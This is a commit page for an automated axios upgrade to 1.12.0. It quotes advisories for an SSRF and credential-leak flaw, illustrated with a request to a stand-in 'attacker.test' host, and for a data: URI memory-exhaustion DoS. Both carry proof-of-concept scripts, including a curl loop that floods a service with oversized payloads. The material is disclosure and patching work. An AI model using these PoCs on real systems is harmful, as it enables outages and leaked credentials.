Skip to content

Commit b591f87

Browse files
authored
chore(deps): update dependency axios to v1.12.0 [security] (#805)
This PR contains the following updates: | Package | Change | Age | Confidence | |---|---|---|---| | [axios](https://axios-http.com) ([source](https://redirect.github.com/axios/axios)) | [`1.7.9` -> `1.12.0`](https://renovatebot.com/diffs/npm/axios/1.7.9/1.12.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/axios/1.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/axios/1.7.9/1.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | ### GitHub Vulnerability Alerts #### [CVE-2025-27152](https://redirect.github.com/axios/axios/security/advisories/GHSA-jr5f-v2jv-69x6) ### Summary A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463 A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠`baseURL` is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. ### Details Consider the following code snippet: ```js import axios from "axios"; const internalAPIClient = axios.create({ baseURL: "http://example.test/api/v1/users/", headers: { "X-API-KEY": "1234567890", }, }); // const userId = "123"; const userId = "http://attacker.test/"; await internalAPIClient.get(userId); // SSRF ``` In this example, the request is sent to `http://attacker.test/` instead of the `baseURL`. As a result, the domain owner of `attacker.test` would receive the `X-API-KEY` included in the request headers. It is recommended that: - When `baseURL` is set, passing an absolute URL such as `http://attacker.test/` to `get()` should not ignore `baseURL`. - Before sending the HTTP request (after combining the `baseURL` with the user-provided parameter), axios should verify that the resulting URL still begins with the expected `baseURL`. ### PoC Follow the steps below to reproduce the issue: 1. Set up two simple HTTP servers: ``` mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 & ``` 2. Create a script (e.g., main.js): ```js import axios from "axios"; const client = axios.create({ baseURL: "http://localhost:10001/" }); const response = await client.get("http://localhost:10002/"); console.log(response.data); ``` 3. Run the script: ``` $ node main.js this is server2 ``` Even though `baseURL` is set to `http://localhost:10001/`, axios sends the request to `http://localhost:10002/`. ### Impact - Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed. - SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running. - Affected Users: Software that uses `baseURL` and does not validate path parameters is affected by this issue. #### [CVE-2025-58754](https://redirect.github.com/axios/axios/security/advisories/GHSA-4hjh-wcwx-xvwj) ## Summary When Axios runs on Node.js and is given a URL with the `data:` scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (`Buffer`/`Blob`) and returns a synthetic 200 response. This path ignores `maxContentLength` / `maxBodyLength` (which only protect HTTP responses), so an attacker can supply a very large `data:` URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested `responseType: 'stream'`. ## Details The Node adapter (`lib/adapters/http.js`) supports the `data:` scheme. When `axios` encounters a request whose URL starts with `data:`, it does not perform an HTTP request. Instead, it calls `fromDataURI()` to decode the Base64 payload into a Buffer or Blob. Relevant code from [`[httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231)`](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231): ```js const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls); const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined); const protocol = parsed.protocol || supportedProtocols[0]; if (protocol === 'data:') { let convertedData; if (method !== 'GET') { return settle(resolve, reject, { status: 405, ... }); } convertedData = fromDataURI(config.url, responseType === 'blob', { Blob: config.env && config.env.Blob }); return settle(resolve, reject, { data: convertedData, status: 200, ... }); } ``` The decoder is in [`[lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27)`](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27): ```js export default function fromDataURI(uri, asBlob, options) { ... if (protocol === 'data') { uri = protocol.length ? uri.slice(protocol.length + 1) : uri; const match = DATA_URL_PATTERN.exec(uri); ... const body = match[3]; const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8'); if (asBlob) { return new _Blob([buffer], {type: mime}); } return buffer; } throw new AxiosError('Unsupported protocol ' + protocol, ...); } ``` * The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks. * It does **not** honour `config.maxContentLength` or `config.maxBodyLength`, which only apply to HTTP streams. * As a result, a `data:` URI of arbitrary size can cause the Node process to allocate the entire content into memory. In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when `totalResponseBytes` exceeds [`[maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550)`](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for `data:` URIs. ## PoC ```js const axios = require('axios'); async function main() { // this example decodes ~120 MB const base64Size = 160_000_000; // 120 MB after decoding const base64 = 'A'.repeat(base64Size); const uri = 'data:application/octet-stream;base64,' + base64; console.log('Generating URI with base64 length:', base64.length); const response = await axios.get(uri, { responseType: 'arraybuffer' }); console.log('Received bytes:', response.data.length); } main().catch(err => { console.error('Error:', err.message); }); ``` Run with limited heap to force a crash: ```bash node --max-old-space-size=100 poc.js ``` Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error: ``` <--- Last few GCs ---> … FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory 1: 0x… node::Abort() … … ``` Mini Real App PoC: A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore `maxContentLength `, `maxBodyLength` and decodes into memory on Node before streaming enabling DoS. ```js import express from "express"; import morgan from "morgan"; import axios from "axios"; import http from "node:http"; import https from "node:https"; import { PassThrough } from "node:stream"; const keepAlive = true; const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 }); const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 }); const axiosClient = axios.create({ timeout: 10000, maxRedirects: 5, httpAgent, httpsAgent, headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" }, validateStatus: c => c >= 200 && c < 400 }); const app = express(); const PORT = Number(process.env.PORT || 8081); const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb"; app.use(express.json({ limit: BODY_LIMIT })); app.use(morgan("combined")); app.get("/healthz", (req,res)=>res.send("ok")); /** * POST /preview { "url": "<http|https|data URL>" } * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). */ app.post("/preview", async (req, res) => { const url = req.body?.url; if (!url) return res.status(400).json({ error: "missing url" }); let u; try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); } // Developer allows using data:// in the allowlist const allowed = new Set(["http:", "https:", "data:"]); if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" }); const controller = new AbortController(); const onClose = () => controller.abort(); res.on("close", onClose); const before = process.memoryUsage().heapUsed; try { const r = await axiosClient.get(u.toString(), { responseType: "stream", maxContentLength: 8 * 1024, // Axios will ignore this for data: maxBodyLength: 8 * 1024, // Axios will ignore this for data: signal: controller.signal }); // stream only the first 64KB back const cap = 64 * 1024; let sent = 0; const limiter = new PassThrough(); r.data.on("data", (chunk) => { if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); } else { sent += chunk.length; limiter.write(chunk); } }); r.data.on("end", () => limiter.end()); r.data.on("error", (e) => limiter.destroy(e)); const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); limiter.pipe(res); } catch (err) { const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); res.status(502).json({ error: String(err?.message || err) }); } finally { res.off("close", onClose); } }); app.listen(PORT, () => { console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`); console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`); }); ``` Run this app and send 3 post requests: ```sh SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \ | tee payload.json >/dev/null seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @&#8203;payload.json -o /dev/null``` ``` --- ## Suggestions 1. **Enforce size limits** For `protocol === 'data:'`, inspect the length of the Base64 payload before decoding. If `config.maxContentLength` or `config.maxBodyLength` is set, reject URIs whose payload exceeds the limit. 2. **Stream decoding** Instead of decoding the entire payload in one `Buffer.from` call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large. --- ### Release Notes <details> <summary>axios/axios (axios)</summary> ### [`v1.12.0`](https://redirect.github.com/axios/axios/blob/HEAD/CHANGELOG.md#1120-2025-09-11) [Compare Source](https://redirect.github.com/axios/axios/compare/v1.11.0...v1.12.0) ##### Bug Fixes - adding build artifacts ([9ec86de](https://redirect.github.com/axios/axios/commit/9ec86de257bfa33856571036279169f385ed92bd)) - dont add dist on release ([a2edc36](https://redirect.github.com/axios/axios/commit/a2edc3606a4f775d868a67bb3461ff18ce7ecd11)) - **fetch-adapter:** set correct Content-Type for Node FormData ([#&#8203;6998](https://redirect.github.com/axios/axios/issues/6998)) ([a9f47af](https://redirect.github.com/axios/axios/commit/a9f47afbf3224d2ca987dbd8188789c7ea853c5d)) - **node:** enforce maxContentLength for data: URLs ([#&#8203;7011](https://redirect.github.com/axios/axios/issues/7011)) ([945435f](https://redirect.github.com/axios/axios/commit/945435fc51467303768202250debb8d4ae892593)) - package exports ([#&#8203;5627](https://redirect.github.com/axios/axios/issues/5627)) ([aa78ac2](https://redirect.github.com/axios/axios/commit/aa78ac23fc9036163308c0f6bd2bb885e7af3f36)) - **params:** removing '\[' and ']' from URL encode exclude characters ([#&#8203;3316](https://redirect.github.com/axios/axios/issues/3316)) ([#&#8203;5715](https://redirect.github.com/axios/axios/issues/5715)) ([6d84189](https://redirect.github.com/axios/axios/commit/6d84189349c43b1dcdd977b522610660cc4c7042)) - release pr run ([fd7f404](https://redirect.github.com/axios/axios/commit/fd7f404488b2c4f238c2fbe635b58026a634bfd2)) - **types:** change the type guard on isCancel ([#&#8203;5595](https://redirect.github.com/axios/axios/issues/5595)) ([0dbb7fd](https://redirect.github.com/axios/axios/commit/0dbb7fd4f61dc568498cd13a681fa7f907d6ec7e)) ##### Features - **adapter:** surface low‑level network error details; attach original error via cause ([#&#8203;6982](https://redirect.github.com/axios/axios/issues/6982)) ([78b290c](https://redirect.github.com/axios/axios/commit/78b290c57c978ed2ab420b90d97350231c9e5d74)) - **fetch:** add fetch, Request, Response env config variables for the adapter; ([#&#8203;7003](https://redirect.github.com/axios/axios/issues/7003)) ([c959ff2](https://redirect.github.com/axios/axios/commit/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b)) - support reviver on JSON.parse ([#&#8203;5926](https://redirect.github.com/axios/axios/issues/5926)) ([2a97634](https://redirect.github.com/axios/axios/commit/2a9763426e43d996fd60d01afe63fa6e1f5b4fca)), closes [#&#8203;5924](https://redirect.github.com/axios/axios/issues/5924) - **types:** extend AxiosResponse interface to include custom headers type ([#&#8203;6782](https://redirect.github.com/axios/axios/issues/6782)) ([7960d34](https://redirect.github.com/axios/axios/commit/7960d34eded2de66ffd30b4687f8da0e46c4903e)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/22686401?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Willian Agostini](https://redirect.github.com/WillianAgostini "+132/-16760 (#&#8203;7002 #&#8203;5926 #&#8203;6782 )") - <img src="https://avatars.githubusercontent.com/u/12586868?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Dmitriy Mozgovoy](https://redirect.github.com/DigitalBrainJS "+4263/-293 (#&#8203;7006 #&#8203;7003 )") - <img src="https://avatars.githubusercontent.com/u/53833811?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [khani](https://redirect.github.com/mkhani01 "+111/-15 (#&#8203;6982 )") - <img src="https://avatars.githubusercontent.com/u/7712804?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Ameer Assadi](https://redirect.github.com/AmeerAssadi "+123/-0 (#&#8203;7011 )") - <img src="https://avatars.githubusercontent.com/u/70265727?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Emiedonmokumo Dick-Boro](https://redirect.github.com/emiedonmokumo "+55/-35 (#&#8203;6998 )") - <img src="https://avatars.githubusercontent.com/u/47859767?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Zeroday BYTE](https://redirect.github.com/opsysdebug "+8/-8 (#&#8203;6980 )") - <img src="https://avatars.githubusercontent.com/u/4814473?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Jason Saayman](https://redirect.github.com/jasonsaayman "+7/-7 (#&#8203;6985 #&#8203;6985 )") - <img src="https://avatars.githubusercontent.com/u/13010755?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [최예찬](https://redirect.github.com/HealGaren "+5/-7 (#&#8203;5715 )") - <img src="https://avatars.githubusercontent.com/u/7002604?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Gligor Kotushevski](https://redirect.github.com/gligorkot "+3/-1 (#&#8203;5627 )") - <img src="https://avatars.githubusercontent.com/u/15893?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Aleksandar Dimitrov](https://redirect.github.com/adimit "+2/-1 (#&#8203;5595 )") ### [`v1.11.0`](https://redirect.github.com/axios/axios/blob/HEAD/CHANGELOG.md#1110-2025-07-22) [Compare Source](https://redirect.github.com/axios/axios/compare/v1.10.0...v1.11.0) ##### Bug Fixes - form-data npm pakcage ([#&#8203;6970](https://redirect.github.com/axios/axios/issues/6970)) ([e72c193](https://redirect.github.com/axios/axios/commit/e72c193722530db538b19e5ddaaa4544d226b253)) - prevent RangeError when using large Buffers ([#&#8203;6961](https://redirect.github.com/axios/axios/issues/6961)) ([a2214ca](https://redirect.github.com/axios/axios/commit/a2214ca1bc60540baf2c80573cea3a0ff91ba9d1)) - **types:** resolve type discrepancies between ESM and CJS TypeScript declaration files ([#&#8203;6956](https://redirect.github.com/axios/axios/issues/6956)) ([8517aa1](https://redirect.github.com/axios/axios/commit/8517aa16f8d082fc1d5309c642220fa736159110)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/12534341?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [izzy goldman](https://redirect.github.com/izzygld "+186/-93 (#&#8203;6970 )") - <img src="https://avatars.githubusercontent.com/u/142807367?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Manish Sahani](https://redirect.github.com/manishsahanidev "+70/-0 (#&#8203;6961 )") - <img src="https://avatars.githubusercontent.com/u/189505037?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Noritaka Kobayashi](https://redirect.github.com/noritaka1166 "+12/-10 (#&#8203;6938 #&#8203;6939 )") - <img src="https://avatars.githubusercontent.com/u/392612?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [James Nail](https://redirect.github.com/jrnail23 "+13/-2 (#&#8203;6956 )") - <img src="https://avatars.githubusercontent.com/u/163745239?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Tejaswi1305](https://redirect.github.com/Tejaswi1305 "+1/-1 (#&#8203;6894 )") ### [`v1.10.0`](https://redirect.github.com/axios/axios/blob/HEAD/CHANGELOG.md#1100-2025-06-14) [Compare Source](https://redirect.github.com/axios/axios/compare/v1.9.0...v1.10.0) ##### Bug Fixes - **adapter:** pass fetchOptions to fetch function ([#&#8203;6883](https://redirect.github.com/axios/axios/issues/6883)) ([0f50af8](https://redirect.github.com/axios/axios/commit/0f50af8e076b7fb403844789bd5e812dedcaf4ed)) - **form-data:** convert boolean values to strings in FormData serialization ([#&#8203;6917](https://redirect.github.com/axios/axios/issues/6917)) ([5064b10](https://redirect.github.com/axios/axios/commit/5064b108de336ff34862650709761b8a96d26be0)) - **package:** add module entry point for React Native; ([#&#8203;6933](https://redirect.github.com/axios/axios/issues/6933)) ([3d343b8](https://redirect.github.com/axios/axios/commit/3d343b86dc4fd0eea0987059c5af04327c7ae304)) ##### Features - **types:** improved fetchOptions interface ([#&#8203;6867](https://redirect.github.com/axios/axios/issues/6867)) ([63f1fce](https://redirect.github.com/axios/axios/commit/63f1fce233009f5db1abf2586c145825ac98c3d7)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/12586868?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Dmitriy Mozgovoy](https://redirect.github.com/DigitalBrainJS "+30/-19 (#&#8203;6933 #&#8203;6920 #&#8203;6893 #&#8203;6892 )") - <img src="https://avatars.githubusercontent.com/u/189505037?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Noritaka Kobayashi](https://redirect.github.com/noritaka1166 "+2/-6 (#&#8203;6922 #&#8203;6923 )") - <img src="https://avatars.githubusercontent.com/u/48370490?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Dimitrios Lazanas](https://redirect.github.com/dimitry-lzs "+4/-0 (#&#8203;6917 )") - <img src="https://avatars.githubusercontent.com/u/71047946?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Adrian Knapp](https://redirect.github.com/AdrianKnapp "+2/-2 (#&#8203;6867 )") - <img src="https://avatars.githubusercontent.com/u/16129206?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Howie Zhao](https://redirect.github.com/howiezhao "+3/-1 (#&#8203;6872 )") - <img src="https://avatars.githubusercontent.com/u/6788611?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Uhyeon Park](https://redirect.github.com/warpdev "+1/-1 (#&#8203;6883 )") - <img src="https://avatars.githubusercontent.com/u/20028934?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Sampo Silvennoinen](https://redirect.github.com/stscoundrel "+1/-1 (#&#8203;6913 )") ### [`v1.9.0`](https://redirect.github.com/axios/axios/blob/HEAD/CHANGELOG.md#190-2025-04-24) [Compare Source](https://redirect.github.com/axios/axios/compare/v1.8.4...v1.9.0) ##### Bug Fixes - **core:** fix the Axios constructor implementation to treat the config argument as optional; ([#&#8203;6881](https://redirect.github.com/axios/axios/issues/6881)) ([6c5d4cd](https://redirect.github.com/axios/axios/commit/6c5d4cd69286868059c5e52d45085cb9a894a983)) - **fetch:** fixed ERR_NETWORK mapping for Safari browsers; ([#&#8203;6767](https://redirect.github.com/axios/axios/issues/6767)) ([dfe8411](https://redirect.github.com/axios/axios/commit/dfe8411c9a082c3d068bdd1f8d6e73054f387f45)) - **headers:** allow iterable objects to be a data source for the set method; ([#&#8203;6873](https://redirect.github.com/axios/axios/issues/6873)) ([1b1f9cc](https://redirect.github.com/axios/axios/commit/1b1f9ccdc15f1ea745160ec9a5223de9db4673bc)) - **headers:** fix `getSetCookie` by using 'get' method for caseless access; ([#&#8203;6874](https://redirect.github.com/axios/axios/issues/6874)) ([d4f7df4](https://redirect.github.com/axios/axios/commit/d4f7df4b304af8b373488fdf8e830793ff843eb9)) - **headers:** fixed support for setting multiple header values from an iterated source; ([#&#8203;6885](https://redirect.github.com/axios/axios/issues/6885)) ([f7a3b5e](https://redirect.github.com/axios/axios/commit/f7a3b5e0f7e5e127b97defa92a132fbf1b55cf15)) - **http:** send minimal end multipart boundary ([#&#8203;6661](https://redirect.github.com/axios/axios/issues/6661)) ([987d2e2](https://redirect.github.com/axios/axios/commit/987d2e2dd3b362757550f36eab875e60640b6ddc)) - **types:** fix autocomplete for adapter config ([#&#8203;6855](https://redirect.github.com/axios/axios/issues/6855)) ([e61a893](https://redirect.github.com/axios/axios/commit/e61a8934d8f94dd429a2f309b48c67307c700df0)) ##### Features - **AxiosHeaders:** add getSetCookie method to retrieve set-cookie headers values ([#&#8203;5707](https://redirect.github.com/axios/axios/issues/5707)) ([80ea756](https://redirect.github.com/axios/axios/commit/80ea756e72bcf53110fa792f5d7ab76e8b11c996)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/12586868?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Dmitriy Mozgovoy](https://redirect.github.com/DigitalBrainJS "+200/-34 (#&#8203;6890 #&#8203;6889 #&#8203;6888 #&#8203;6885 #&#8203;6881 #&#8203;6767 #&#8203;6874 #&#8203;6873 )") - <img src="https://avatars.githubusercontent.com/u/4814473?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Jay](https://redirect.github.com/jasonsaayman "+26/-1 ()") - <img src="https://avatars.githubusercontent.com/u/22686401?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Willian Agostini](https://redirect.github.com/WillianAgostini "+21/-0 (#&#8203;5707 )") - <img src="https://avatars.githubusercontent.com/u/2500247?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [George Cheng](https://redirect.github.com/Gerhut "+3/-3 (#&#8203;5096 )") - <img src="https://avatars.githubusercontent.com/u/30260221?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [FatahChan](https://redirect.github.com/FatahChan "+2/-2 (#&#8203;6855 )") - <img src="https://avatars.githubusercontent.com/u/49002?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Ionuț G. Stan](https://redirect.github.com/igstan "+1/-1 (#&#8203;6661 )") #### [1.8.4](https://redirect.github.com/axios/axios/compare/v1.8.3...v1.8.4) (2025-03-19) ##### Bug Fixes - **buildFullPath:** handle `allowAbsoluteUrls: false` without `baseURL` ([#&#8203;6833](https://redirect.github.com/axios/axios/issues/6833)) ([f10c2e0](https://redirect.github.com/axios/axios/commit/f10c2e0de7fde0051f848609a29c2906d0caa1d9)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/8029107?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Marc Hassan](https://redirect.github.com/mhassan1 "+5/-1 (#&#8203;6833 )") #### [1.8.3](https://redirect.github.com/axios/axios/compare/v1.8.2...v1.8.3) (2025-03-10) ##### Bug Fixes - add missing type for allowAbsoluteUrls ([#&#8203;6818](https://redirect.github.com/axios/axios/issues/6818)) ([10fa70e](https://redirect.github.com/axios/axios/commit/10fa70ef14fe39558b15a179f0e82f5f5e5d11b2)) - **xhr/fetch:** pass `allowAbsoluteUrls` to `buildFullPath` in `xhr` and `fetch` adapters ([#&#8203;6814](https://redirect.github.com/axios/axios/issues/6814)) ([ec159e5](https://redirect.github.com/axios/axios/commit/ec159e507bdf08c04ba1a10fe7710094e9e50ec9)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/3238291?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Ashcon Partovi](https://redirect.github.com/Electroid "+6/-0 (#&#8203;6811 )") - <img src="https://avatars.githubusercontent.com/u/28559054?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [StefanBRas](https://redirect.github.com/StefanBRas "+4/-0 (#&#8203;6818 )") - <img src="https://avatars.githubusercontent.com/u/8029107?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Marc Hassan](https://redirect.github.com/mhassan1 "+2/-2 (#&#8203;6814 )") #### [1.8.2](https://redirect.github.com/axios/axios/compare/v1.8.1...v1.8.2) (2025-03-07) ##### Bug Fixes - **http-adapter:** add allowAbsoluteUrls to path building ([#&#8203;6810](https://redirect.github.com/axios/axios/issues/6810)) ([fb8eec2](https://redirect.github.com/axios/axios/commit/fb8eec214ce7744b5ca787f2c3b8339b2f54b00f)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/14166260?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Fasoro-Joseph Alexander](https://redirect.github.com/lexcorp16 "+1/-1 (#&#8203;6810 )") #### [1.8.1](https://redirect.github.com/axios/axios/compare/v1.8.0...v1.8.1) (2025-02-26) ##### Bug Fixes - **utils:** move `generateString` to platform utils to avoid importing crypto module into client builds; ([#&#8203;6789](https://redirect.github.com/axios/axios/issues/6789)) ([36a5a62](https://redirect.github.com/axios/axios/commit/36a5a620bec0b181451927f13ac85b9888b86cec)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/12586868?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Dmitriy Mozgovoy](https://redirect.github.com/DigitalBrainJS "+51/-47 (#&#8203;6789 )") ### [`v1.8.4`](https://redirect.github.com/axios/axios/blob/HEAD/CHANGELOG.md#184-2025-03-19) [Compare Source](https://redirect.github.com/axios/axios/compare/v1.8.3...v1.8.4) ##### Bug Fixes - **buildFullPath:** handle `allowAbsoluteUrls: false` without `baseURL` ([#&#8203;6833](https://redirect.github.com/axios/axios/issues/6833)) ([f10c2e0](https://redirect.github.com/axios/axios/commit/f10c2e0de7fde0051f848609a29c2906d0caa1d9)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/8029107?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Marc Hassan](https://redirect.github.com/mhassan1 "+5/-1 (#&#8203;6833 )") ### [`v1.8.3`](https://redirect.github.com/axios/axios/blob/HEAD/CHANGELOG.md#190-2025-04-24) [Compare Source](https://redirect.github.com/axios/axios/compare/v1.8.2...v1.8.3) ##### Bug Fixes - **core:** fix the Axios constructor implementation to treat the config argument as optional; ([#&#8203;6881](https://redirect.github.com/axios/axios/issues/6881)) ([6c5d4cd](https://redirect.github.com/axios/axios/commit/6c5d4cd69286868059c5e52d45085cb9a894a983)) - **fetch:** fixed ERR\_NETWORK mapping for Safari browsers; ([#&#8203;6767](https://redirect.github.com/axios/axios/issues/6767)) ([dfe8411](https://redirect.github.com/axios/axios/commit/dfe8411c9a082c3d068bdd1f8d6e73054f387f45)) - **headers:** allow iterable objects to be a data source for the set method; ([#&#8203;6873](https://redirect.github.com/axios/axios/issues/6873)) ([1b1f9cc](https://redirect.github.com/axios/axios/commit/1b1f9ccdc15f1ea745160ec9a5223de9db4673bc)) - **headers:** fix `getSetCookie` by using 'get' method for caseless access; ([#&#8203;6874](https://redirect.github.com/axios/axios/issues/6874)) ([d4f7df4](https://redirect.github.com/axios/axios/commit/d4f7df4b304af8b373488fdf8e830793ff843eb9)) - **headers:** fixed support for setting multiple header values from an iterated source; ([#&#8203;6885](https://redirect.github.com/axios/axios/issues/6885)) ([f7a3b5e](https://redirect.github.com/axios/axios/commit/f7a3b5e0f7e5e127b97defa92a132fbf1b55cf15)) - **http:** send minimal end multipart boundary ([#&#8203;6661](https://redirect.github.com/axios/axios/issues/6661)) ([987d2e2](https://redirect.github.com/axios/axios/commit/987d2e2dd3b362757550f36eab875e60640b6ddc)) - **types:** fix autocomplete for adapter config ([#&#8203;6855](https://redirect.github.com/axios/axios/issues/6855)) ([e61a893](https://redirect.github.com/axios/axios/commit/e61a8934d8f94dd429a2f309b48c67307c700df0)) ##### Features - **AxiosHeaders:** add getSetCookie method to retrieve set-cookie headers values ([#&#8203;5707](https://redirect.github.com/axios/axios/issues/5707)) ([80ea756](https://redirect.github.com/axios/axios/commit/80ea756e72bcf53110fa792f5d7ab76e8b11c996)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/12586868?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Dmitriy Mozgovoy](https://redirect.github.com/DigitalBrainJS "+200/-34 (#&#8203;6890 #&#8203;6889 #&#8203;6888 #&#8203;6885 #&#8203;6881 #&#8203;6767 #&#8203;6874 #&#8203;6873 )") - <img src="https://avatars.githubusercontent.com/u/4814473?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Jay](https://redirect.github.com/jasonsaayman "+26/-1 ()") - <img src="https://avatars.githubusercontent.com/u/22686401?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Willian Agostini](https://redirect.github.com/WillianAgostini "+21/-0 (#&#8203;5707 )") - <img src="https://avatars.githubusercontent.com/u/2500247?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [George Cheng](https://redirect.github.com/Gerhut "+3/-3 (#&#8203;5096 )") - <img src="https://avatars.githubusercontent.com/u/30260221?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [FatahChan](https://redirect.github.com/FatahChan "+2/-2 (#&#8203;6855 )") - <img src="https://avatars.githubusercontent.com/u/49002?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Ionuț G. Stan](https://redirect.github.com/igstan "+1/-1 (#&#8203;6661 )") #### [1.8.4](https://redirect.github.com/axios/axios/compare/v1.8.3...v1.8.4) (2025-03-19) ##### Bug Fixes - **buildFullPath:** handle `allowAbsoluteUrls: false` without `baseURL` ([#&#8203;6833](https://redirect.github.com/axios/axios/issues/6833)) ([f10c2e0](https://redirect.github.com/axios/axios/commit/f10c2e0de7fde0051f848609a29c2906d0caa1d9)) ##### Contributors to this release - <img 